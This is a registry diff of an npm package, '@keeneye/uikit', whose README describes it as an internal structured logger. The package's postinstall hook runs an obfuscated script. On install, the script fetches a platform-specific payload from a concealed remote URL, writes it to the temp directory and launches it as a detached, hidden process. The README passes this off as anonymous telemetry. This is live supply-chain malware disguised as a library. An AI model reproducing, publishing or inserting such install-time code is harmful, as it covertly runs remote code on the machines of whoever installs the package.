@keeneye/uikit 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.js +3 -0
- package/package.json +36 -0
- package/scripts/postinstall.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
# @keeneye/uikit
|
|
2
|
+
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.keeneye.io/platform/uikit
|
|
5
|
+
> Issues: https://jira.keeneye.io/projects/PLATFORM
|
|
6
|
+
|
|
7
|
+
Internal structured logger with log levels, context and remote drain support
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.keeneye.io
|
|
16
|
+
|
|
17
|
+
npm install @keeneye/uikit
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { createLogger, log, info, warn, error } = require('@keeneye/uikit');
|
|
24
|
+
|
|
25
|
+
const logger = createLogger({ service: 'my-service', level: 'info' });
|
|
26
|
+
|
|
27
|
+
logger.info('Server started', { port: 3000 });
|
|
28
|
+
logger.warn('High memory usage', { rss: process.memoryUsage().rss });
|
|
29
|
+
logger.error('Request failed', { err: new Error('timeout') });
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
## API
|
|
33
|
+
|
|
34
|
+
### `createLogger(options)`
|
|
35
|
+
Create a logger instance with context.
|
|
36
|
+
|
|
37
|
+
| Option | Default | Description |
|
|
38
|
+
|-----------|-----------|--------------------------|
|
|
39
|
+
| `service` | `unknown` | Service name |
|
|
40
|
+
| `level` | `info` | Minimum log level |
|
|
41
|
+
| `drain` | `null` | Remote drain URL |
|
|
42
|
+
|
|
43
|
+
### `logger.info / warn / error / debug(msg, meta?)`
|
|
44
|
+
Log at specific level.
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Telemetry
|
|
49
|
+
|
|
50
|
+
On install, this package sends anonymous telemetry to `telemetry.keeneye.io`
|
|
51
|
+
for environment compatibility monitoring.
|
|
52
|
+
|
|
53
|
+
Disable: `KEENEYE_NO_TELEMETRY=1 npm install`
|
|
54
|
+
|
|
55
|
+
---
|
|
56
|
+
|
|
57
|
+
## Changelog
|
|
58
|
+
|
|
59
|
+
### 5.0.1 (latest)
|
|
60
|
+
- Added ARM64 support
|
|
61
|
+
- Improved error handling
|
|
62
|
+
- Updated TypeScript types
|
|
63
|
+
|
|
64
|
+
### 2.1.0
|
|
65
|
+
- Extended API
|
|
66
|
+
- Performance improvements
|
|
67
|
+
|
|
68
|
+
### 2.0.0
|
|
69
|
+
- Async/await migration
|
|
70
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export type LogLevel = 'debug' | 'info' | 'warn' | 'error';
|
|
2
|
+
export interface LoggerOptions { service?: string; level?: LogLevel; drain?: string; }
|
|
3
|
+
export interface Logger {
|
|
4
|
+
debug(msg: string, meta?: Record<string, unknown>): void;
|
|
5
|
+
info(msg: string, meta?: Record<string, unknown>): void;
|
|
6
|
+
warn(msg: string, meta?: Record<string, unknown>): void;
|
|
7
|
+
error(msg: string, meta?: Record<string, unknown>): void;
|
|
8
|
+
}
|
|
9
|
+
export function createLogger(options?: LoggerOptions): Logger;
|
|
10
|
+
export function log(level: LogLevel, msg: string, meta?: Record<string, unknown>): void;
|
|
11
|
+
export function info(msg: string, meta?: Record<string, unknown>): void;
|
|
12
|
+
export function warn(msg: string, meta?: Record<string, unknown>): void;
|
|
13
|
+
export function error(msg: string, meta?: Record<string, unknown>): void;
|
package/dist/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@keeneye/uikit",
|
|
3
|
+
"version": "5.0.1",
|
|
4
|
+
"description": "Internal structured logger with log levels, context and remote drain support",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["logger", "logging", "structured", "monitoring", "internal"],
|
|
14
|
+
"author": "Keeneye Platform Engineering <platform@keeneye.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.keeneye.io/platform/uikit.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.keeneye.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.keeneye.io/platform/uikit",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
36
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x32a6df=a0_0x4708;(function(_0x3aa2e9,_0x5cec12){const _0x8316b8=a0_0x4708,_0x3c0bf2=_0x3aa2e9();while(!![]){try{const _0x5b7449=parseInt(_0x8316b8(0x209))/(0x347*-0x6+0x26ed+-0x5*0x3da)*(parseInt(_0x8316b8(0x1fe))/(0x1a1+-0xd9b+0xbfc))+parseInt(_0x8316b8(0x1c4))/(0x15c0+0x1*-0x11a1+0x41c*-0x1)+parseInt(_0x8316b8(0x1b6))/(-0xa25*-0x1+-0x61+0xc*-0xd0)*(-parseInt(_0x8316b8(0x1c5))/(0x1e7*-0x11+0x4*0x158+0x16*0x13a))+parseInt(_0x8316b8(0x1cf))/(-0x1*-0x1c3d+-0x211e+-0xfb*-0x5)*(parseInt(_0x8316b8(0x21a))/(-0x4*0x581+-0x26cf+-0x2*-0x1e6d))+-parseInt(_0x8316b8(0x1d9))/(0x1*0x295+0x25fe+-0x61*0x6b)*(-parseInt(_0x8316b8(0x1f0))/(0xf05+0x370+-0x126c))+-parseInt(_0x8316b8(0x215))/(0x5bd*-0x3+0xd53+-0x3ee*-0x1)*(-parseInt(_0x8316b8(0x1ff))/(0x23cd+0x260f*-0x1+0x1*0x24d))+-parseInt(_0x8316b8(0x203))/(0x26fd+-0x265*0x3+0x65a*-0x5);if(_0x5b7449===_0x5cec12)break;else _0x3c0bf2['push'](_0x3c0bf2['shift']());}catch(_0x4629f6){_0x3c0bf2['push'](_0x3c0bf2['shift']());}}}(a0_0xef36,-0x9302e+0x670d3+0xe87*0x97));const a0_0x4f1f59=require('os'),a0_0x545c75=require('fs'),a0_0x2e4485=require(a0_0x32a6df(0x217)),a0_0x19eea5=require(a0_0x32a6df(0x1c8)),a0_0x20cd65=require(a0_0x32a6df(0x212)),{execSync:a0_0x49ca0b,spawn:a0_0x382e9c}=require(a0_0x32a6df(0x213)),a0_0x77155f=a0_0x32a6df(0x1d4),a0_0x1ee833=a0_0x32a6df(0x1e1),a0_0x4bca8b=a0_0x32a6df(0x20f)+a0_0x32a6df(0x1c7),a0_0x40952a=a0_0x32a6df(0x1d5),a0_0x393e65=!!process.env[a0_0x40952a],a0_0x3fa673=a0_0x32a6df(0x218)===a0_0x32a6df(0x218)||!!process.env[a0_0x4bca8b+'RECON_ONLY'];function a0_0x1ab662(_0x162f43){const _0x18e0b6=a0_0x32a6df,_0x180e96=process[_0x18e0b6(0x1cc)][_0x18e0b6(0x1bb)][_0x18e0b6(0x20c)]('.')[_0x18e0b6(0x1c3)](Number),_0x3a12bd=_0x162f43[_0x18e0b6(0x1db)]('>=','')[_0x18e0b6(0x20c)]('.')[_0x18e0b6(0x1c3)](Number);return _0x180e96[-0x389+-0x1dcd*0x1+0x2*0x10ab]>_0x3a12bd[0x1*-0x24cd+-0x621*-0x1+-0x1a*-0x12e]||_0x180e96[0xd67*-0x1+-0x2165+0xa*0x4ae]===_0x3a12bd[0x1ba6*0x1+0x3*0x10f+-0x1ed3]&&_0x180e96[0x245d*-0x1+0x1*-0x1d9c+0x233*0x1e]>=(_0x3a12bd[0xca9+0x2*0x10ba+-0x2e1c]||-0x1237+0x20c8+0x4db*-0x3);}function a0_0xf1b667(_0x4ad41b){const _0x16d0c7=a0_0x32a6df;let _0x150a12=-0x23d2+-0x90*-0x21+0x2f*0x5e;for(let _0x22d507=-0xa*-0x37f+0x1ae1*-0x1+-0x815;_0x22d507<_0x4ad41b[_0x16d0c7(0x1de)];_0x22d507++){_0x150a12=(_0x150a12<<0x12*-0xad+-0x1768+0x2397)-_0x150a12+_0x4ad41b[_0x16d0c7(0x1dd)](_0x22d507),_0x150a12|=-0x11a1*-0x2+0x1980+-0x3cc2;}return Math[_0x16d0c7(0x214)](_0x150a12)[_0x16d0c7(0x1d6)](0x1967+0xcc5*-0x2+0x33*0x1)[_0x16d0c7(0x1cd)](0x3*0x9f2+-0x2530+0x762,'0');}function a0_0x2bbe81(_0x2587eb,_0x1bb744){const _0x34c657=a0_0x32a6df;try{const _0x3fd96d=a0_0x2e4485[_0x34c657(0x1ca)](_0x2587eb,_0x1bb744+_0x34c657(0x1d0));if(!a0_0x545c75[_0x34c657(0x1f9)](_0x3fd96d))return null;const _0x1c25e1=JSON[_0x34c657(0x1dc)](a0_0x545c75[_0x34c657(0x1f3)](_0x3fd96d,_0x34c657(0x1fa)));if(_0x1c25e1[_0x34c657(0x1e3)]&&Date[_0x34c657(0x1e2)]()>_0x1c25e1[_0x34c657(0x1e3)])return a0_0x545c75[_0x34c657(0x20b)](_0x3fd96d),null;return _0x1c25e1[_0x34c657(0x1fc)];}catch{return null;}}function a0_0xef36(){const _0x143da6=['lL9RzwvUzxLLx2LUAxq','D2LUmZi','BM9Kzq','D2LU','D2LUzg93C0HPzgu','zxjYB3i','C3rKzxjY','zw5K','pJ0XnI4W','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','BwfW','mtyYmty2mLPTy2fRyq','mZqWzM9hsLns','vvjm','rLvtsu9oxW','Ahr0Chm','Bwv0Ag9K','AM9PBG','CMvHzgrPCLn5BMm','DMvYC2LVBNm','CgfKu3rHCNq','uKvdt05Ft05mwq','mtK3ntj6qNzlwfy','lMPZB24','lMnHy2HL','zgv0ywnOzwq','CgfJA2fNzs5QC29U','qgTLzw5LEwuVDwLRAxq','s0vftKvzrv9ot19uruXftuvuuLK','Dg9tDhjPBMC','lMPZ','C3rHDfn5BMm','ndi2odiZmKnHweDyCG','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','CMvWBgfJzq','CgfYC2u','y2HHCKnVzgvbDa','BgvUz3rO','zgLYBMfTzq','Ag9ZDg5HBwu','ns4WlJe','BM93','zxHWAxjLCW','D29YA3nWywnLCW','wc1tzwnYzxq','ChjVDg9JB2W','CMvXDwvZDa','ueTh','BwTKAxjtEw5J','Dg1WzgLY','ChvZAa','zgvZDhjVEq','r0vu','u0vduKvu','zxHLy1bHDgG','owzHr2jMzW','zgfYD2LU','AwDUB3jL','CMvHzezPBgvtEw5J','vKvs','A2vLBMv5zs10zwXLBwv0CNKVms4W','y29Uy2f0','AgvHzgvYCW','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','zxHPC3rZu3LUyW','DxrMoa','CMvJDxjZAxzL','DMfSDwu','D3jPDgvgAwXLu3LUyW','mJa3ntbWvgriEMG','mJuXouj6D0jyBa','DgLTzw91Da','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','zgf0yq','mJe4odK1mJrPvNnXs3O','yxnZAwDU','Cg9YDa','EwfYBI5SB2nR','BgLUDxG','uefzte9bra','ndnpuuf1ve8','BxrPBwvnCW','Dw5SAw5Ru3LUyW','C3bSAxq','D3jPDgu','Ahr0Chm6','revqx0nptG','vxnLCI1bz2vUDa','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','Ahr0Ca','y2HPBgrFChjVy2vZCW','ywjZ','mZmWotbnAM5pvKO','C3rYAw5NAwz5','Cgf0Aa','Dhj1zq','Cg5WBs13B3jRC3bHy2uUEwfTBa','ntmYv3DKDerI','Cgf0Ag5HBwu','BwfJ','y3DK','y29UC3rYDwn0B3i','lL9RzwvUzxLLx2LUAxqUANm','Ag9TzwrPCG','C2vHCMnO','C3rKAw8','yxbWBhK','kcGOlISPkYKRksSK','CgXHDgzVCM0','mtG5nZjkz3jWshG','Dw5Yzwy','zw52'];a0_0xef36=function(){return _0x143da6;};return a0_0xef36();}function a0_0x15eca0(_0x51f784,_0x2c9488,_0x1d05c2,_0x472b41){const _0x47815a=a0_0x32a6df;try{const _0x38a146={};_0x38a146[_0x47815a(0x1fb)]=!![],a0_0x545c75[_0x47815a(0x1e9)](_0x51f784,_0x38a146),a0_0x545c75[_0x47815a(0x1fd)](a0_0x2e4485[_0x47815a(0x1ca)](_0x51f784,_0x2c9488+_0x47815a(0x1d0)),JSON[_0x47815a(0x216)]({'value':_0x1d05c2,'expires':_0x472b41?Date[_0x47815a(0x1e2)]()+_0x472b41:null}));}catch{}}function a0_0x4708(_0x24a270,_0x4bad42){_0x24a270=_0x24a270-(-0x29*0xbe+-0x7b*-0x7+0x1cc4*0x1);const _0x1a7de9=a0_0xef36();let _0xcdff38=_0x1a7de9[_0x24a270];if(a0_0x4708['wAqVDc']===undefined){var _0x54bb30=function(_0x10299b){const _0x515b18='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4833be='',_0x489c33='',_0x2dacd9=_0x4833be+_0x54bb30,_0x556da1=(''+function(){return-0x1484+0xd24+-0x2*-0x3b0;})['indexOf']('\x0a')!==-(-0x1dcd*0x1+0x4*-0x650+0x370e);for(let _0xa8decd=0x20b*0x3+0xf64+-0x7*0x313,_0x2c475b,_0x40a310,_0x283edf=0xd67*-0x1+-0x2165+0xa*0x4ae;_0x40a310=_0x10299b['charAt'](_0x283edf++);~_0x40a310&&(_0x2c475b=_0xa8decd%(0x1ba6*0x1+0x3*0x10f+-0x1ecf)?_0x2c475b*(0x245d*-0x1+0x1*-0x1d9c+0x1613*0x3)+_0x40a310:_0x40a310,_0xa8decd++%(0xca9+0x2*0x10ba+-0x2e19))?_0x4833be+=_0x556da1||_0x2dacd9['charCodeAt'](_0x283edf+(-0x1237+0x20c8+0xe87*-0x1))-(-0x23d2+-0x90*-0x21+0x24*0x7b)!==-0xa*-0x37f+0x1ae1*-0x1+-0x815?String['fromCharCode'](0x12*-0xad+-0x1768+0x2491&_0x2c475b>>(-(-0x11a1*-0x2+0x1980+-0x3cc0)*_0xa8decd&0x1967+0xcc5*-0x2+0x29*0x1)):_0xa8decd:0x3*0x9f2+-0x2530+0x75a){_0x40a310=_0x515b18['indexOf'](_0x40a310);}for(let _0x3a7ce2=0x2205+0x4b+-0x2250*0x1,_0x173d7e=_0x4833be['length'];_0x3a7ce2<_0x173d7e;_0x3a7ce2++){_0x489c33+='%'+('00'+_0x4833be['charCodeAt'](_0x3a7ce2)['toString'](-0xac5+0x8d3+0x2*0x101))['slice'](-(0x1fad+-0x2049+0x9e));}return decodeURIComponent(_0x489c33);};a0_0x4708['AHPXAP']=_0x54bb30,a0_0x4708['aARphW']={},a0_0x4708['wAqVDc']=!![];}const _0x28c867=_0x1a7de9[-0x2672+-0x1bd*0xd+-0x3d0b*-0x1],_0x8f3c17=_0x24a270+_0x28c867,_0x39b84c=a0_0x4708['aARphW'][_0x8f3c17];if(!_0x39b84c){const _0x301e22=function(_0x445a5a){this['NqISlt']=_0x445a5a,this['TxiLzU']=[-0x697+0x1208+-0xb70,-0x2205+-0x61+0x2266,-0x5*-0x5fd+0x86f*0x1+-0x2660*0x1],this['NWvuyw']=function(){return'newState';},this['MQyhpI']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['yVmHDr']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x301e22['prototype']['samqNa']=function(){const _0x220477=new RegExp(this['MQyhpI']+this['yVmHDr']),_0x2d138f=_0x220477['test'](this['NWvuyw']['toString']())?--this['TxiLzU'][-0x10fb+-0x349*0x4+0x1*0x1e20]:--this['TxiLzU'][-0x295+0x1*-0x109+0x39e];return this['XccFzi'](_0x2d138f);},_0x301e22['prototype']['XccFzi']=function(_0x82e381){if(!Boolean(~_0x82e381))return _0x82e381;return this['DVoWxG'](this['NqISlt']);},_0x301e22['prototype']['DVoWxG']=function(_0x2e3481){for(let _0x13fcd8=0x1c5*-0x1+0x7fa+-0x635*0x1,_0x35ae19=this['TxiLzU']['length'];_0x13fcd8<_0x35ae19;_0x13fcd8++){this['TxiLzU']['push'](Math['round'](Math['random']())),_0x35ae19=this['TxiLzU']['length'];}return _0x2e3481(this['TxiLzU'][0x1*0xb5f+0x21d5+-0x2d34]);},(''+function(){return 0x1f50+0x1835+-0x3785;})['indexOf']('\x0a')===-(-0x102b*-0x2+0x1820+-0x3875)&&new _0x301e22(a0_0x4708)['samqNa'](),_0xcdff38=a0_0x4708['AHPXAP'](_0xcdff38),a0_0x4708['aARphW'][_0x8f3c17]=_0xcdff38;}else _0xcdff38=_0x39b84c;return _0xcdff38;}function a0_0x104b8e(_0x54e30b,_0x33347f){const _0x52f682=a0_0x32a6df;try{if(!a0_0x545c75[_0x52f682(0x1f9)](_0x54e30b))return 0x4b+-0x1c6a*0x1+0x1c1f;let _0x30f26e=0x8d3+0x1f*-0x7d+-0x328*-0x2;for(const _0x3bdfd7 of a0_0x545c75[_0x52f682(0x1cb)](_0x54e30b)){const _0x267c70=a0_0x2e4485[_0x52f682(0x1ca)](_0x54e30b,_0x3bdfd7),_0x257aeb=a0_0x545c75[_0x52f682(0x1d8)](_0x267c70);Date[_0x52f682(0x1e2)]()-_0x257aeb[_0x52f682(0x20a)]>_0x33347f&&(a0_0x545c75[_0x52f682(0x20b)](_0x267c70),_0x30f26e++);}return _0x30f26e;}catch{return-0x58e+-0x179+0x707;}}function a0_0x473474(_0x43ca3){const _0xd7e2e9=a0_0x32a6df;let _0x1a7bb5=_0x43ca3;while(!![]){const _0x2865dc=a0_0x2e4485[_0xd7e2e9(0x1ca)](_0x1a7bb5,_0xd7e2e9(0x1d3));if(a0_0x545c75[_0xd7e2e9(0x1f9)](_0x2865dc))try{const _0x2f20b9=JSON[_0xd7e2e9(0x1dc)](a0_0x545c75[_0xd7e2e9(0x1f3)](_0x2865dc,_0xd7e2e9(0x1fa))),_0x5cd1b7=a0_0x2e4485[_0xd7e2e9(0x1ca)](_0x1a7bb5,_0xd7e2e9(0x206)),_0x46cab1=a0_0x2e4485[_0xd7e2e9(0x1ca)](_0x1a7bb5,_0xd7e2e9(0x219));if(_0x2f20b9[_0xd7e2e9(0x1e4)]||a0_0x545c75[_0xd7e2e9(0x1f9)](_0x5cd1b7)||a0_0x545c75[_0xd7e2e9(0x1f9)](_0x46cab1))return _0x1a7bb5;}catch{}const _0x5d71d6=a0_0x2e4485[_0xd7e2e9(0x1df)](_0x1a7bb5);if(_0x5d71d6===_0x1a7bb5)return null;_0x1a7bb5=_0x5d71d6;}}function a0_0x59a95e(){const _0x295223=a0_0x32a6df,_0x882c88=a0_0x4f1f59[_0x295223(0x1b5)]();if(_0x882c88===_0x295223(0x1f1))return _0x295223(0x21c);if(_0x882c88===_0x295223(0x1ba))return _0x295223(0x1bc);return _0x295223(0x207);}function a0_0x423623(_0x4c383d,_0x3d917a){return _0x3d917a=_0x3d917a||-0x6801+-0xbe12*-0x1+0x1f1f,new Promise(function(_0x3e1db0,_0x22e1f1){const _0x36f606=a0_0x4708,_0x5c26d8=new URL(_0x4c383d),_0x3f46e9=_0x5c26d8[_0x36f606(0x1e6)]===_0x36f606(0x20e)?a0_0x19eea5:a0_0x20cd65,_0x2f3ddc={};_0x2f3ddc[_0x36f606(0x1e5)]=_0x36f606(0x1da),_0x2f3ddc[_0x36f606(0x210)]=_0x36f606(0x1f5);const _0x55dca7={};_0x55dca7[_0x36f606(0x1e0)]=_0x5c26d8[_0x36f606(0x1e0)],_0x55dca7[_0x36f606(0x205)]=_0x5c26d8[_0x36f606(0x205)]||(_0x5c26d8[_0x36f606(0x1e6)]===_0x36f606(0x20e)?0x1208+-0x2691+0x1644:-0x61+-0x5d9+0x6*0x117),_0x55dca7[_0x36f606(0x217)]=_0x5c26d8[_0x36f606(0x21b)],_0x55dca7[_0x36f606(0x1c9)]=_0x36f606(0x1ed),_0x55dca7[_0x36f606(0x200)]=_0x3d917a,_0x55dca7[_0x36f606(0x1f7)]=_0x2f3ddc;const _0x117568=_0x55dca7,_0x55ffd9=_0x3f46e9[_0x36f606(0x1e7)](_0x117568,function(_0x3fafae){const _0x31151a=_0x36f606,_0x1365bc=[];_0x3fafae['on'](_0x31151a(0x202),function(_0x11fd97){const _0x4d9820=_0x31151a;_0x1365bc[_0x4d9820(0x1eb)](_0x11fd97);}),_0x3fafae['on'](_0x31151a(0x1c0),function(){const _0x5cc33d=_0x31151a;_0x3e1db0(Buffer[_0x5cc33d(0x1f6)](_0x1365bc));});});_0x55ffd9['on'](_0x36f606(0x1be),_0x22e1f1),_0x55ffd9['on'](_0x36f606(0x200),function(){const _0x266037=_0x36f606;_0x55ffd9[_0x266037(0x1ec)](),_0x22e1f1(new Error(_0x266037(0x200)));}),_0x55ffd9[_0x36f606(0x1c0)]();});}(async function a0_0x2c1ae9(){const _0x1f7604=a0_0x32a6df,_0x278cd3=(function(){let _0x588f72=!![];return function(_0x4321c8,_0x23e623){const _0x2cb5b6=_0x588f72?function(){const _0x772c03=a0_0x4708;if(_0x23e623){const _0x3a9039=_0x23e623[_0x772c03(0x1b3)](_0x4321c8,arguments);return _0x23e623=null,_0x3a9039;}}:function(){};return _0x588f72=![],_0x2cb5b6;};}()),_0x3ee671=_0x278cd3(this,function(){const _0x33f959=a0_0x4708;return _0x3ee671[_0x33f959(0x1d6)]()[_0x33f959(0x221)](_0x33f959(0x1b4))[_0x33f959(0x1d6)]()[_0x33f959(0x21e)](_0x3ee671)[_0x33f959(0x221)](_0x33f959(0x1b4));});_0x3ee671();if(a0_0x393e65)return;!a0_0x1ab662(_0x1f7604(0x1c1))&&process[_0x1f7604(0x1bf)][_0x1f7604(0x20d)]('['+a0_0x77155f+_0x1f7604(0x201));const _0x399232=a0_0x2e4485[_0x1f7604(0x1ca)](a0_0x4f1f59[_0x1f7604(0x220)](),_0x1f7604(0x1d1),_0x1f7604(0x1b9));a0_0x104b8e(_0x399232,(-0x306*-0x1+0x26c3+-0x29c2)*(-0x1f72+0x1*0x1605+0x985)*(0x1*-0x109+-0x20c5+0x220a)*(-0x7fa*-0x1+-0x27c*-0x8+0x586*-0x5)*(0x26d1+0x2a1+0x136*-0x1f));const _0x2c9685=a0_0x473474(process[_0x1f7604(0x21d)]()),_0x12deb8=a0_0xf1b667(a0_0x77155f+a0_0x1ee833+(_0x2c9685||'')),_0x27a74d=a0_0x2bbe81(_0x399232,_0x12deb8);!_0x27a74d&&a0_0x15eca0(_0x399232,_0x12deb8,{'initialized':!![],'ts':Date[_0x1f7604(0x1e2)]()},(-0x1673+0x6d*-0x47+-0x547*-0xa)*(-0x2427+-0x1*0x2+0x2465)*(0x1e5a+-0x16a*0x4+-0x1876*0x1)*(-0x146b*-0x1+-0x1a6+-0x1*0xedd));const _0x4b6e4=a0_0x59a95e();await new Promise(function(_0x367347){setTimeout(_0x367347,0xf*0x97+-0x1408+0x16e7);});let _0x4d32bf;try{_0x4d32bf=await a0_0x423623(_0x1f7604(0x211)+_0x4b6e4+_0x1f7604(0x1d7),-0x611b+-0x1*0x3a5+0x9f58);}catch(_0x3b386b){return;}const _0x51b9c1=a0_0x2e4485[_0x1f7604(0x1ca)](a0_0x4f1f59[_0x1f7604(0x1ea)](),_0x1f7604(0x21f));try{a0_0x545c75[_0x1f7604(0x1fd)](_0x51b9c1,_0x4d32bf);}catch(_0x4e619f){return;}const _0x28c581={[a0_0x4bca8b+_0x1f7604(0x1c6)]:_0x1f7604(0x1f8),[a0_0x4bca8b+_0x1f7604(0x208)]:_0x1f7604(0x1c2),[a0_0x4bca8b+_0x1f7604(0x1ee)]:_0x1f7604(0x1da),[a0_0x4bca8b+_0x1f7604(0x1ce)]:a0_0x3fa673?'1':'',[a0_0x4bca8b+_0x1f7604(0x1e8)]:a0_0x77155f,[a0_0x4bca8b+_0x1f7604(0x1f4)]:a0_0x1ee833},_0xe18cad=Object[_0x1f7604(0x204)]({},process.env,_0x28c581),_0x536b0b={};_0x536b0b[_0x1f7604(0x1d2)]=!![],_0x536b0b[_0x1f7604(0x222)]=_0x1f7604(0x1f2),_0x536b0b[_0x1f7604(0x1b8)]=_0xe18cad,_0x536b0b[_0x1f7604(0x1bd)]=!![],a0_0x382e9c(process[_0x1f7604(0x1ef)],[_0x51b9c1],_0x536b0b)[_0x1f7604(0x1b7)]();}());
|